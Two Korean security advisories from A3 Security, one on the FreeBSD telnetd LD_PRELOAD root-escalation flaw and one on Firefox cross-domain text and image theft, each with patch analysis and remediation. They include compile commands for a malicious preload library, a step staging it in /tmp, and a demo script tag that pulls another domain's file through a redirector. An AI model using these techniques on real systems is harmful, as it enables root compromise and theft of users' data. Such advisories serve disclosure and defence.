현재상태(패치여부)

홈페이지 패치 가능


1. 요약
FreeBSD 텔넷 데몬(telnet(8))은 Telnet 가상 터미널 프로토콜의 서버를 구축하는데 사용하는 데몬입니다. 하지만, 보안의 이유로 2001년 8월부터 FreeBSD에서는 텔넷 대신 SSH프로토콜을 사용할 것을 권고해왔습니다. 텔넷 프로토콜은 접속한 클라이언트가 새롭게 생성된 로그인 세션에 대해 설정될 수 있는 환경변수를 직접 지정할 수 있도록 허가합니다. 이걸 사용하여 터미널 설정 등을 정할 수가 있게 됩니다.

이 점을 이용한 환경변수 기반의 공격을 막기 위해서는 텔넷 데몬이 해가 되는 환경변수 부분을 제거해주어야 합니다. 하지만, 환경변수 부분을 제대로 체크하지 못하는 점을 이용하여 텔넷 접속 시 root 권한으로 접속하여 코드 실행이 가능한 취약점입니다.


2. 취약점 대상
 FreeBSD (7.0 – Release) 버전
 FreeBSD (7.1 – Release) 버전


3. 취약점 영향

본 취약점은 아래와 같은 영향을 줄 수 있습니다.

취약점 영향

위험도

시스템 중요파일 변경 가능

시스템 코드 실행 가능




II. 취약점 상세분석

1. 취약점 개요
본 취약점은 /bin/login을 실행시키기 이전 단계에서 환경변수 LD_PRELOAD같이 LD_*를 체크하지 않아서 생기는 취약점입니다. 이는 원격에서 root권한으로 코드를 실행할 수 있습니다.

[program.c 원본 : http://www.milw0rm.com/exploit/8055] 일부 수정하였음.

이를 아래의 명령어를 이용하여 컴파일 할 것입니다.

#gcc –o program.o –c program.c –fPIC
#gcc –shared –Wl, -soname, libno_ex.so.1 –o libno_ex.so.1.0 program.o –nostartfiles

정상적으로 실행하였다면 아래 그림과 같이 파일이 존재하는 것을 확인할 수 있습니다.


[그림 1] 디렉토리 내 생성된 파일 확인

이중 라이브러리 함수를 쉽게 알 수 있는 임의의 위치에 복사를 해 놓습니다.
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0

이 취약점을 실제 공격에 이용하기 위해서는 위와 같이 다른 공격을 이용하여 알려진 위치에 LD_PRELOAD 환경변수를 설정해놓은 다음 telnet을 이용하여 원격 혹은 로컬로 Root 권한을 얻어 낼 수 있게 됩니다.

이제는 위와 같은 과정을 거쳐 목표 서버에 환경설정을 완료했다는 가정하에 Telnet을 이용하여 Root 권한을 얻도록 하겠습니다.

telnet 을 열어 SRA(Secure RPC Authentication)을 끄고, 환경설정을 위해 심어놓은 라이브러리를 불러들여 권한상승을 실행할 수 있도록 합니다.

몇 줄 되지 않지만, 실행하면 아래의 그림과 같이 Root 만의 기호 #을 볼 수 있게 됩니다. 권한 비교 및 확인을 위해 id 명령어를 이용하였습니다.


[그림 2] Telnet 접속 시 환경설정을 이용하여 권한 상승에 성공한 화면
위와 같이 Telnet 을 이용해 권한 상승에 성공하였음을 확인하였습니다.


2. 소스코드 패치 분석
= 패치 시 삭제될 부분
= 패치 시 추가될 부분

  char **cpp, **cpp2;
  const char **p;
-
-  for (cpp2 = cpp = environ; *cpp; cpp++) {

+ char ** new_environ;
+ size_t count;
+
+ /* Allocate space for scrubbed environment. */
+ for (count = 1, cpp = environ; *cpp; count++, cpp++)
+  continue;
+ if ((new_environ = malloc(count * sizeof(char *))) == NULL) {
+  environ = NULL;
+  return;
+ }
+
+  for (cpp2 = new_environ, cpp = environ; *cpp; cpp++) {
   int reject_it = 0;
 
   for(p = rej; *p; p++)
@@ -1286,10 +1296,15 @@
   for(p = acc; *p; p++)
    if(strncmp(*cpp, *p, strlen(*p)) == 0)
     break;
-  if(*p != NULL)
-    *cpp2++ = *cpp;

+  if(*p != NULL) {
+   if ((*cpp2++ = strdup(*cpp)) == NULL) {
+    environ = new_environ;
+    return;
+   }
+  }
   }
  *cpp2 = NULL;
+ environ = new_environ;
 }


주요 패치 내용 )
새로운 포인트 변수 new_environ을 할당하고, 만약 환경변수 environ에 환경변수가 등록되어 있으면 이 값을 지워버리고 new_environ에 입력하여 environ 값으로 바꿔줍니다.



III. 결론

1. 대응 방안

근본적인 문제해결은 있을 수 없습니다. 하지만, Telnet 데몬을 사용하지 않는다면, 이 취약점에는 안전합니다.
FreeBSD 홈페이지에는 이미 패치가 올라와 있습니다. 이를 이용하여 패치할 수 있습니다.
http://security.freebsd.org/patches/SA-09:05/telnetd.patch


2. 참고 문헌 및 사이트
Exploit 소스 : http://www.milw0rm.com/exploits/8055 [Exploit 코드 부문 자체 수정이 있었습니다.]
공식 권고문 : http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc
공식 패치 코드 : http://security.freebsd.org/patches/SA-09:05/telnetd.patch



[indra (indra@a3security.com) 의 한마디...]
LD_PRELOAD는 *nix 계열 environment 에서 동적 라이브러리를 로드하는데에 쓰이며, 이는 다른 라이브러리를 로딩하는 로직보다 우선순위를 가지고 있습니다.
따라서 예전에 함수의 반환값을 0으로 만드는 라이브러리를 LD_PRELOAD를 사용해 로드하고 shell을 실행하면 getuid() 계열 함수의 반환값이 0 이 되어 whoami, id 등의 명령어 결과를 root 로 만들게끔 조작하는 것이 가능했었습니다.

그러나 실제 kernel 상의 process image에는 권한등록이 일반 user로 되어 있기 때문에 실제 root의 권한은 아니었고요. 이러한 LD_PRELOAD의 기능을 이용한 것이 해당 exploit의 기본 아이디어 이구요.

원격접속을 받아 인증을 하고 pts, tty 등의 터미널 관련 device를 생성하는 등의 작업을 하기 위해서는 root 권한으로 daemon이 실행되어야 하는데, LD_PRELOAD 를 이용한 로드된 라이브러리에서 shell을 바로 실행시켜 버리기 때문에 권한이 낮춰지지 않은 상태의 root shell이 실행되게 됩니다.

exploit 은 현재 공개되어 있으며, 09년 2월 16일자로 공개되었습니다.

다음의 링크 입니다.

http://milw0rm.com/exploits/8055

exploit을 보면 environ 명령을 통해 환경변수를 설정할 수 있고, 이를 조작하여 원격접속 시 LD_PRELOAD라는 환경변수를 이용해 악의적인 라이브러리를 로드할 수 있게 됩니다.어떻게 보면 예전에 나왔던 SunOS telnet 취약점이랑 비슷합니다. remote 취약점은 아니나, web, ftp 에 접근하여 파일을 생성할 수 있는 경우 해당 취약점에 노출됩니다.

이에 대한 공식 권고문은 다음의 링크 입니다.

http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc

공식 패치의 코드는 다음의 링크 입니다.

http://security.freebsd.org/patches/SA-09:05/telnetd.patch

패치된 코드는 환경변수를 의미하는 environ을 설정하고 환경변수가 등록되어 있으면 해당 값을 지워버리는 것으로 LD_PRELOAD의 환경변수 값을 지워버리게 됩니다. 따라서 공격자의 라이브러리는 로드되지 않겠죠.



Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.


▷ 작성자 : InPure(aramlee@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)



Mozilla Firefox Cross Domain Text(Image) Theft


취약점
보안 권고안



1. 요 약

[Text Theft]
<script src=”      “> 태그가 포함된 스크립트를 실행할 때 나타나는 자바스크립트 에러메시지는 window.onerror 핸들러를 사용하며, 원격 도메인의 텍스트를 에러메시지의 한 부분으로 포함할 수 있다. 이것을 이용하여 다른 도메인의 텍스트를 훔치는 것이 가능하다.

[Image Theft]
HTTP 리다이렉터를 이용하여 다른 도메인에 있는 임의의 이미지에 접근할 때, 브라우저에 로컬에서 리다이렉트하는 것처럼 속여 접근이 가능하다.


2. 대상시스템

 Mozilla Firefox 3.x before 3.05

Mozilla Firefox 2.x before 2.0.0.19

Thunderbird 2.x before 2.0.0.19

SeaMonkey 1.x before 1.1.14




3. 심각도 및 취약점 확인

취약점 영향

Mozilla Firefox Cross Domain Text Theft

Cross Domain Text(Image) Theft





Ⅱ. 취약점 세부 분석

1. 취약점 내용
데모로 아래 URL을 이용하였다.
https://cevans-app.appspot.com/static/ff3scriptredirbug.html

[Text Theft]
데모 URL에서 훔쳐오고 싶은, 즉 Target Text파일 URL을 다음과 같이 <script src=””>태그 안에 삽입한다.

 <script src="../redir?url=http://vsftpd.beasts.org/steal_me/hex.txt">


다음은 Target Text이다.


[그림 1] Target Text


[그림 2]와 같이 데모 URL에 접속하면, 자바스트립트 에러메시지 창이 뜨는 데, 그 에러메시지에는 Target Text([그림 2]의 붉은 박스부분)가 포함되어 있다.


[그림 2] Text Theft



[Image Theft]

원격 도메인의, 가져오고 싶은 그림(Target) URL은 다음과 같다.

 https://cevans-app.appspot.com/redir?url=http://vsftpd.beasts.org/steal_me/stocks.png

다음은 Target Image이다.

[그림 3] Target Image


데모 URL에 접속하면 다음과 같이 Target Image가 보이고, Target Image의 첫번째 픽셀 정보를 볼 수 있다.

[그림 4] Cross Domain Image Theft


2. 위험 분석
[
Text Theft]

자바스크립트로 데이터 로드를 시도함으로써 구문 에러메시지를 일으키고, DOM API의 window.onerror 핸들러로 파일의 일부를 드러냄으로써, 다른 도메인의 제한된 정보에 접근을 허용하며, 이는 기밀 정보나 개인 정보를 훔치는 데 악용될 수도 있다.

[Image Theft]
다른 도메인에 있는 이미지를 공격자가 canvas로 이미지를 표현하거나, 자바스크립트 API인 getImageData()를 사용할 수 있다. 이것은 다른 도메인의 제한된 정보에 접근을 허용하는 것을 의미하며, 이는 기밀 정보나 개인 정보를 유출하는 데 악용될 수도 있다.

.14



Ⅲ. 대응 방안

1. 보안 대책
[Text Theft]

현재 패치된 FireFox 3.0.5, 3.0.6 버전이 배포되고 있으며, 최신 버전인 3.0.6 버전 다운로드 URL은 다음과 같다.

http://www.mozilla.or.kr/ko/products/download.html?product=firefox-3.0.6&os=win&lang=ko

다음은 패치된 버전으로 취약점 분석에 이용한 데모 URL에 접속한 화면이다.
 


[그림 5] 패치된 화면


하지만, 이 패치된 경우는 다른 방법의 302 Redirect를 이용하여 우회가 가능한 미봉책일 뿐이다.

패치를 하지 않았을 경우나 보다 확실한 대책은, Java Plugin을 실행하지 않도록 설정을 변경하는 것이지만, 현실적으로는 불가능에 가까우므로 White List를 이용하여 신뢰하는 사이트만 제한적으로 Java Plugin을 허용한다.


[Image Theft]

현재 패치된 FireFox 2.0.0.18 이상, FireFox 3 버전이 배포되고 있으며, 최신 버전인 3.0.6 버전 다운로드 URL은 다음과 같다.

http://www.mozilla.or.kr/ko/products/download.html?product=firefox-3.0.6&os=win&lang=ko

다음은 패치된 버전으로 취약점 분석에 이용한 데모 URL에 접속한 화면이다.


[그림 6] 패치된 화면

패치는 원격 도메인의 정보를 빼내는 데 사용되는 JavaScript API인 getImageData나 toDataUrl가 사용이 되는지 확인하는 방법으로 이루어졌다.


2.  관련 사이트

본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.

[Text Theft]
CVE-2008-5507

CESA-2008-011 http://scary.beasts.org/security/CESA-2008-011.html
MFSA 2008-65
http://www.securityfocus.com/archive/1/499353/30/360/threaded

[Image Theft]
CVE-2008-5012
CESA-2008-009
http://scary.beasts.org/security/CESA-2008-009.html
MFSA 2008-48
http://www.mozilla.org/security/announce/2008/mfsa2008-48.html
http://scarybeastsecurity.blogspot.com/2008/11/firefox-cross-domain-image-theft-and.html
http://www.securityfocus.com/archive/1/498468


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.